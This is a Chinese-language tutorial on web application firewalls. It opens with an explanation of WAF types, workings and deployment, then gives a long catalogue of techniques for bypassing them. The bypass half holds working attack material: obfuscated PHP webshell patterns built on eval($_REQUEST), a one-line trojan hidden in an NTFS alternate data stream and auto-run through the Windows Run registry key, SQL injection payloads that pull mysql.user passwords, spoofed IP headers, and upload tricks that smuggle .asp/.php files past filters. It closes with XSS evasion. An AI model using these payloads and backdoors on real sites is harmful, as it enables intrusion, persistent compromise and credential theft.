文章目录:
[1.1 引入](#1.1 引入)
[1.2 定义](#1.2 定义)
[1.3 WAF和其他攻击的区别](#1.3 WAF和其他攻击的区别)
[1.4 WAF与防火墙的区别](#1.4 WAF与防火墙的区别)
[a 阿里云盾](#a 阿里云盾)
[b 安全狗](#b 安全狗)
[c 宝塔面板](#c 宝塔面板)
[1.1 WAF身份认证阶段的绕过](#1.1 WAF身份认证阶段的绕过)
[1.2 WAF数据包解析阶段的绕过](#1.2 WAF数据包解析阶段的绕过)
一:前言
1.简介
1.1 引入
因为HTTP是一个开放的协议,如果我们的产品要对外提供用户服务,那Web服务一般部署运行在公网上,任何人都可以访问,所以天然就会成为黑客的攻击目标
1.2 定义
Web应用防护墙(Web Application Firewall)简称WAF 是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品(服务器安全防护软件) WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测 并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性 WAF通过监控、过滤和阻止恶意的HTTP请求和响应,确保Web应用程序的安全性和可用性 它专注于保护Web应用程序层,可以检测和防御多种类型的Web攻击:如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等 WAF还可以提供日志记录功能,用于记录和分析攻击、事件和正常应用程序行为
1.3 WAF和其他攻击的区别
WAF 是一种防御机制,旨在保护Web应用程序免受各种网络攻击
网络攻击 是一种恶意行为,试图破坏、窃取或篡改数据
WAF与其他网络攻击的区别 性质不同: WAF是一种防御机制,旨在保护Web应用程序免受攻击 网络攻击则是一种恶意行为,旨在破坏、窃取或篡改数据,或使系统无法正常工作 作用方式不同: WAF通过配置安全策略、规则引擎等方式,自动检测和拦截恶意流量 网络攻击则利用系统或应用程序的漏洞,或通过社会工程学等手段,试图绕过安全措施,达到攻击目的 目标不同: WAF的目标是保护Web应用程序和数据的安全,确保用户能够正常使用Web服务 网络攻击的目标则是破坏系统的完整性、可用性或保密性,或窃取敏感信息 防御与攻击的关系: WAF是防御网络攻击的重要工具之一,它可以帮助组织识别和阻止多种类型的网络攻击 网络攻击则是WAF需要防御的对象,WAF通过不断更新和改进其防御能力,以应对不断变化的网络威胁 WAF与其他网络安全工具的比较 虽然WAF与其他网络安全工具(如网络防火墙、入侵检测系统IDS等)在保护网络安全方面都具有重要作用,但它们之间存在明显的差异: 焦点不同:WAF专注于保护Web应用程序,主要关注Web层攻击;而其他网络安全工具可能涵盖更广泛的领域,如网络层攻击等 层级不同:WAF工作在应用层,通过深入分析HTTP请求和响应来检测和防御攻击;而其他网络安全工具可能在不同层级进行操作,如网络防火墙在网络层工作 检测方式不同:WAF通过正则表达式、规则引擎等方式检测Web攻击,关注特定的攻击模式;而其他网络安全工具可能使用不同的检测方式,如IDS使用特征匹配、异常检测等 部署位置不同:WAF通常部署在Web服务器前端,与Web应用程序直接交互;而其他网络安全工具可以部署在不同的位置,如边界防火墙位于网络边界
1.4 WAF与防火墙的区别
一、定义与工作原理 WAF 定义:WAF是一种专门用于保护Web应用程序的安全防护措施 工作原理:WAF通过监控、过滤和分析HTTP/HTTPS流量,识别和阻止恶意请求,从而保护Web应用程序免受各种网络攻击 防火墙 定义:防火墙是一种网络安全系统,旨在监控和控制网络流量,根据预定义的安全规则决定是否允许数据包的传输 工作原理:防火墙通过检查数据包的源地址、目标地址、端口号和协议类型等信息,来判断数据包的合法性,并据此决定是否允许其通过 二、防护层面与目的 WAF 防护层面:WAF主要防护OSI模型的第7层,即应用层 防护目的:WAF专注于保护Web应用程序免受常见的网络攻击,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等 防火墙 防护层面:防火墙主要防护OSI模型的第3层(网络层)和第4层(传输层) 防护目的:防火墙旨在保护内部网络免受外部威胁,防止未经授权的访问,并在企业网络和互联网之间建立一道安全屏障 三、主要功能 WAF SQL注防护:WAF能够检测并阻止SQL注入攻击,防止攻击者通过恶意SQL语句获取、修改或删除数据库中的数据。 XSS防护:WAF能够识别并阻止XSS攻击,防止攻击者在Web页面中插入恶意脚本 CSRF防护:WAF能够检测并阻止CSRF攻击,防止攻击者伪造用户请求 应用层DDoS防护:WAF能够检测并缓解应用层DDoS攻击,通过流量限制、速率控制等措施保护Web应用程序 安全日志记录和分析:WAF能够记录所有检测到的安全事件和攻击行为,提供详细的日志和报表 防火墙 流量过滤:防火墙通过预定义的安全规则来过滤网络流量,只允许合法的数据包通过 阻止恶意攻击:防火墙能够识别和阻止各种网络攻击,如DDoS攻击、恶意软件等 记录网络活动:防火墙能够记录网络中的各种活动,包括数据包的传输、访问尝试等 访问控制:防火墙通过配置访问控制列表(ACLs)和规则集,精细地管理哪些用户、设备或应用可以访问特定的系统资源 集中安全管理:防火墙可以作为一个集中的安全控制点,统一管理和监控网络中的安全策略、日志和事件 四、部署与应用 WAF WAF可以部署在云平台或本地,适用于需要保护Web应用程序的各种场景 WAF通常与Web服务器紧密集成,以确保对HTTP/HTTPS流量的实时监控和过滤 防火墙 防火墙可以部署在云平台和本地,适用于保护整个网络环境 防火墙通常部署在网络的边界上,充当已知威胁和未知威胁之间的一道屏障
2.主要功能
木马主动防御及查杀:网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90% 流量监控:能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况 网站漏洞防御功能:可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为 危险组件防护功能:全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全 .Net安全保护模块:快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全 双层防盗链链接模式:可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面 网站特定资源防下载:支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载 CC攻击防护:自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击 网站流量保护:支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量 IP黑白名单 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站 同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能 同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任
3.什么情况下使用waf
保护Web应用程序免受各种Web攻击
1.业务类型需求 电子商务:电商网站具有庞大的用户群体和大量的交易数据,因此需要WAF来保护用户数据、防止支付欺诈和其他网络攻击 WAF可以有效检测和阻止如SQL注入、跨站脚本攻击(XSS)等网络攻击,确保用户信息不被窃取 金融服务:金融机构网站承载着大量的财务数据和敏感信息 WAF能够加强网上银行、移动银行等在线服务的安全性,防范金融诈骗,保护客户数据和交易安全 媒体和内容提供商:WAF可以防止盗链、恶意爬虫和其他攻击,从而保护内容的安全和版权 政府和公共服务:政府网站、在线服务和电子政务系统的安全性对于国家和公众都至关重要 WAF可以抵御各种网络攻击,保护政府机构网站免受黑客的破坏和非法篡改,维护公众利益 医疗保健:医院、医疗机构和健康信息系统的敏感数据和隐私同样需要WAF的保护 教育机构:学校、大学和在线教育平台的学和教师信息安全也至关重要,WAF能够保障校园网络和教育资源的安全,防止敏感信息泄露 2.特定场景需求 保护关键业务系统:WAF可以保护企业ERP、CRM等关键业务系统免受外部攻击,确保业务正常运行 应对高流量场景:硬件WAF通常具有高性能和低延迟,适用于高流量的Web应用程序 提高可用性和性能:云WAF可以提供全球分布的节点,从而提高Web应用程序的可用性和性能 3.安全策略需求 基于规则的检测:WAF通常采用基于规则的检测技术,通过预定义规则或自定义规则来检测并拦截恶意流量 防止漏洞利用:WAF能够检测和拦截各种漏洞利用攻击,如SQL注入、XSS、CSRF等 流量控制和访问控制:WAF可以通过安全策略来限制流量的来源、目标和类型,实现更精细的流量控制和访问控制 4.合规性需求 在某些行业或地区,使用WAF可能符合特定的安全合规要求 例如,金融行业、医疗行业等对于数据安全和隐私保护有严格的规定,使用WAF可以帮助这些行业满足合规要求
4.分类
硬件Waf:绿盟、安恒、启明、知道创宇等 硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护 软件Waf:安全狗、云锁、中间件自带的Waf模块 软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现 云WAF:阿里云、安全狗、知道创宇、安恒 云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新 对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测 如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理 自定义WAF 网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等
5.工作原理
1.预处理 预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内 如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分 2.规则检测 每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为 3.处理模块 针对不同的检测结果,处理模块会做出不同的安全防御动作 如果符合规则则交给后端Web服务器进行响应处理 对于不符合规则的请求会执行相关的阻断、记录、告警处理 不同的WAF产品会自定义不同的拦截警告页面 4.日志记录 WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析
6.部署方式
1.透明网桥(透明代理模式) 工作原理:当Web客户端对服务器有连接请求时,TCP连接请求被WAF截取和监控 WAF代理了Web客户端和服务器之间的会话,将会话分成了两段,并基于桥模式进行转发 从Web客户端的角度看,它仍然是直接访问服务器,感知不到WAF的存在 特点:对网络的改动最小,可以实现零配置部署 另外,通过WAF的硬件Bypass功能,在设备出现故障或掉电时,可以不影响原有网络流量,只是WAF自身功能失效 然而,这种部署方式下,网络的所有流量(HTTP和非HTTP)都经过WAF,对WAF的处理性能有一定要求,且无法实现服务器负载均衡功能 2.反向代理模式 工作原理:将真实服务器的地址映射到反向代理服务器上,此时代理服务器对外表现为一个真实服务器 当代理服务器收到HTTP的请求报文后,将该请求转发给其对应的真实服务器 后台服务器接收到请求后将响应先发送给WAF设备,由WAF设备再将应答发送给客户端 特点:需要对网络进行改动,配置相对复杂 除了要配置WAF设备自身的地址和路由外,还需要在WAF上配置后台真实Web服务器的地址和虚地址的映射关系 如果原来服务器地址是全局地址(没经过NAT转换),那么通常还需要改变原有服务器的IP地址以及DNS解析地址 这种部署模式的优点是可以在WAF上同时实现负载均衡 3.镜像流量(端口镜像模式) 工作原理:WAF旁路接在Web服务器上游的交换机上,使用交换机的端口镜像功能,将交换机端口上的HTTP流量镜像一份给WAF WAF只对HTTP流量进行监控和报警,不进行拦截阻断。对于WAF而言,流量只进不出 特点:部署相对简单,对现有网络架构影响较小 但是,需要确保镜像流量的实时性和准确性。此外,在这种模式下,WAF只能进行监控和报警,无法直接阻断异常流量 4.路由代理模式 工作原理:与透明网桥模式类似,但工作在路由转发模式而非网桥模式。需要为WAF的转发接口配置IP地址以及路由 特点:需要对网络进行简单改动,要设置WAF设备内网口和外网口的IP地址以及对应的路由 工作在路由代理模式时,WAF可以直接作为Web服务器的网关,但存在单点故障问题,同时也要负责转发所有的流量 这种工作模式也不支持服务器负载均衡功能 然而,它能够对流经OSI应用层的数据进行分析,对其他层的流量不作控制,因此具有快速、方便、简单的特点
7.WAF部署
a 阿里云盾
购买云服务器 ECS 即可免费使用云盾的基础功能
b 安全狗
1.关闭apache程序及httpd.exe进程 2.运行cmd,cd进入apache/bin文件夹目录 cd C:\phpStudy\Apache\bin 执行httpd.exe -k install -n apache2.4.39 安全狗安装服务名称填写apache2.4.39 打开apache,打开安全狗安装包进行安装 安装完成后点击安装安全狗插件
c 宝塔面板
8.Webshell免杀
1.把马创建成涵数,后面只要调用涵数就行 2.变量覆盖 3.组合法 4.在线加密 5.文件包含 <?php $filename = $_GET['filename']; include($filename); ?> 6.通过NTFS交换数据流文件实现文件隐藏 echo hello>>test.txt:webshell.php 创建数据流文件 dir/r 查看数据流文件 notepad muma.php 新建一个一句话木马文件 通过命令 type muma.php>>test.txt:muma.php 创建新的交换数据流文件 数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run 建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
9.Webshell后门分析
1.抓包分析法 2.数据流量协议分析法 3.代码分析定位法
二:绕过方法
1.WAF注入绕过
白名单黑名单身份认证--数据包解析--规则判断--拦截
1.1 WAF身份认证阶段的绕过
伪造搜索引擎
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击 这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher 点击你要添加的分组然后点击New User Agent... 输入User Agent信息然后点击确定 然后选择你要模拟的的User Agent 选择后刷新页面即可 也可以通过手工修改User-Agent, 在火狐浏览器地址栏输入"about:config",按下回车进入设置菜单 找到"general.useragent.override",如果没有这一项,则点右键"新建"->"字符串", 将其值设为自己想要的UserAgent(如:Baiduspider) 也可以用burp来修改User-Agent
伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截 比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user 可以改为: www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user 或者 www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
直接攻击源站
这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器 如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过
1.2 WAF数据包解析阶段的绕过
编码绕过 URL编码 二次URL编码 assert(base64_decode('cGhwaW5mbygpOw==')); 其他编码:例如Unicode编码,Base64编码,Hex编码,ASCII编码等,十六进制编码 修改请求方式绕过:有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过 GET /xxx/?id=1+and+sleep(4) POST/xxx/?id=1+and+sleep(4) 空格替换 %0a %0a/**/ /*|%23--%23|*/ 空白符 + - @ ! 注释符/**/ & () '' 2个空格 等号替换 like rlike 换行替换:%23%0a、%2d%2d%0a %0A 是url编码中的换行 %23 是url编码中的 # 关键字替换 COMMAND | WHAT TO USE INSTEAD @@version | version() concat() | concat_ws() group_concat() | concat_ws() 字符替换 greatest | 替换 > least | 替换 < in | 替换 = between and | 替换 = 逻辑符号替换 and | && or | || xor | | not | ! 双写替换法 http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4... 使用大小写 http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4.... %绕过 ?id=1 union select 1, 2, 3 from admin ?id=1 union s%e%lect 1, 2, 3 from admin %00截断 ?a=1&id=1and sleep(3) ?a=1%00.&id=1and sleep(3) 内联注释绕过 ?id=1+and+sleep(3)+and+1=2 ?id=1+and+/*!50001sleep(3)*/+and+1=2 常见的用于注释的符号有哪些:/*/, -- , //, #, --+,-- -, ;,--a;/!50000xx*/ 超大数据包绕过 ?id=1+and+sleep(3) ?id=1+and+sleep(3) )+and+111111111=11111111111111111111 宽字节绕过:因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠/'(%5C%27) 正常payload:?id=1'and 1=1--+ 尝试直接提交转义后的单引号:?id=1%5C%27and 1=1--+ 通常这样的提交会被视为无效,因为转义字符(\)和单引号(')已经被视为一个整体了,无法再闭合字符串 尝试宽字节绕过:?id=1%df%27and 1=1--+ %df 是一个GBK编码(或其他宽字节编码)中的高字节 攻击者希望这个高字节与后面的 %27(单引号)组合成一个合法的宽字节字符,从而绕过对单引号的转义处理 拼接 变量拼接绕过 //如果对phpinfo检测,可以把参数改为 $a='php';$b='info';$c=$a.$b;$c(); 拼接免杀 $a='ev'; $b='al'; $c=$a.$b; $d='c'; $$d($_REQUEST['A']); //等价于eval($_REQUEST['A']); 函数绕过 字符替换绕过:assert(str_replace('x','','sxyxsxtxexm("ipconfig")')); end免杀函数取数组最后一个元素:eval(end($_REQUEST['A'])); strcmp函数:比较两个值大小,相等返回0 后者比前者大返回-1 小返回1 ?id=-1' union select srtcmp(ascii(substr(database(),0,1)),100) --+ 函数免杀 function abc($b){ returb $b; } $a = abc("$_REQUEST['A']"); eval($a); 类定义绕过 class user{ $name=''; function __construct($name){ $this->name=$name; } function __destruct(){ eval($this->name); } } $a=new user($_REQUEST['A']); 利用WAF本身的功能绕过:假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过 http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4.... 云waf伪造ip头 X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1
2.文件上传绕过WAF
文件名后缀绕过 demo.php.xxx php.php 等号绕过:在filename后多添加两个等号 filename==="1.php" 填充垃圾字符:在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验 Content-Disposition:aaaaaaafrom-data;name="uploadtime"; 突破绕过 突破0,文件名前缀加[0x09]绕过 Content-Disposition: form-data; name="filepath"; filename="[0x09]backlion.asp" Content-Type: text/html 突破1,文件名去掉双引号绕过 Content-Disposition: form-data; name="filepath"; filename=backlion.asp Content-Type: text/html 突破2,添加一个filename的文件名参数,并赋值绕过,两个看哪一个可以过去 Content-Disposition: form-data; name="filepath"; filename="backlion.asp";filename="test.jpg" Content-Type: text/html 突破3,form变量改成f+orm组合绕过 Content-Disposition: f+orm-data; name="filepath";filename="backlion.asp" Content-Type: text/html 突破4 ,文件名后缀大小写绕过 ConTent-Disposition: form-data; name="filepath"; filename="backlion.Asp" Content-Type: text/html 突破5 ,去掉form-data变量绕过 ConTent-Disposition: name="filepath"; filename="backlion.asp" Content-Type: text/html 突破6,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过 ConTent-Disposition: form-data ; name="filepath"; filename="backlion.asp" Content-Type: text/html ConTent-Disposition: form-data ; name="filepath"; filename="baclion.asp" Content-Type: text/html 突破7 ,backlion.asp . (空格+.)绕过 ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp ." Content-Type: text/html 突破8 ,"回车换行,绕过 ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp " Content-Type: text/html 突破9 ,NTFS流 在文件名后加::$DATA绕过 ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp::$DATA" Content-Type: text/html ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp::$DATA\0x00\fuck.asp0x00.jpg" Content-Type: text/html 突破10,将Content-Type和ConTent-Disposition调换顺序位置绕过 Content-Type: text/html ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp" 突破11,在文件名前缀加空格(tab键可替换)绕过 Content-Disposition: form-data; name="filepath"; filename= "backlion.asp" Content-Type: text/html 突破12,在form-data加空格绕过 Content-Disposition: form-data; name="uploaded"; filename="backlion.asp" Content-Type: text/html 突破13,在form-data的前后加上+绕过 Content-Disposition: +form-data; name="filepath"; filename="backlion.asp" Content-Type: text/html Content-Disposition: form-data+; name="filepath"; filename="backlion.asp" Content-Type: text/html
3.XSS绕过WAF
大小写绕过 将<script>标签变为<SCRIPT>或<sCRIpT>,将alert函数变为aLeRT或ALERT等 javascript伪协议 JavaScript伪协议是一种在URL中嵌入JavaScript代码的方法 例如,在<a>标签的href属性中,可以写入javascript:alert(1)来执行JavaScript代码 值得注意的是,引号通常可以去掉,支持伪协议的属性还有lowsrc、bgsound、background、action、dynsrc等 没有分号 在JavaScript中,语句通常以分号结尾 然而,如果JavaScript引擎能够判断一条语句是完整的,并且结尾有换行符,那么就可以省略分号 例如,将alert(1);变为alert(1)(没有分号),如果WAF没有考虑到这种情况,那么就可能无法检测到这条恶意语句 Flash 虽然Flash技术已经逐渐被淘汰,但在一些旧的Web应用中仍然可能存在Flash插件。攻击者可以利用Flash中的漏洞来执行XSS攻击,并尝试绕过WAF的检测 然而,随着Flash的逐渐淘汰,这种方法已经变得不那么常见了 HTML5 新标签 HTML5引入了一些新的标签和属性,这些新特性可能会被WAF所忽略。攻击者可以利用这些新标签和属性来构造恶意payload,并尝试绕过WAF的检测 例如,使用<audio>或<video>标签的onerror事件来执行恶意脚本 Fuzz进行测试 Fuzz测试是一种自动化的测试方法,用于发现软件中的漏洞。攻击者可以使用Fuzz测试工具来生成大量的恶意payload,并尝试绕过WAF的检测 通过不断尝试和修改payload,攻击者可能会发现WAF的漏洞或弱点,并利用它们来执行XSS攻击 双层标签绕过 <div><script>alert(1)</script></div>这样的结构来隐藏恶意代码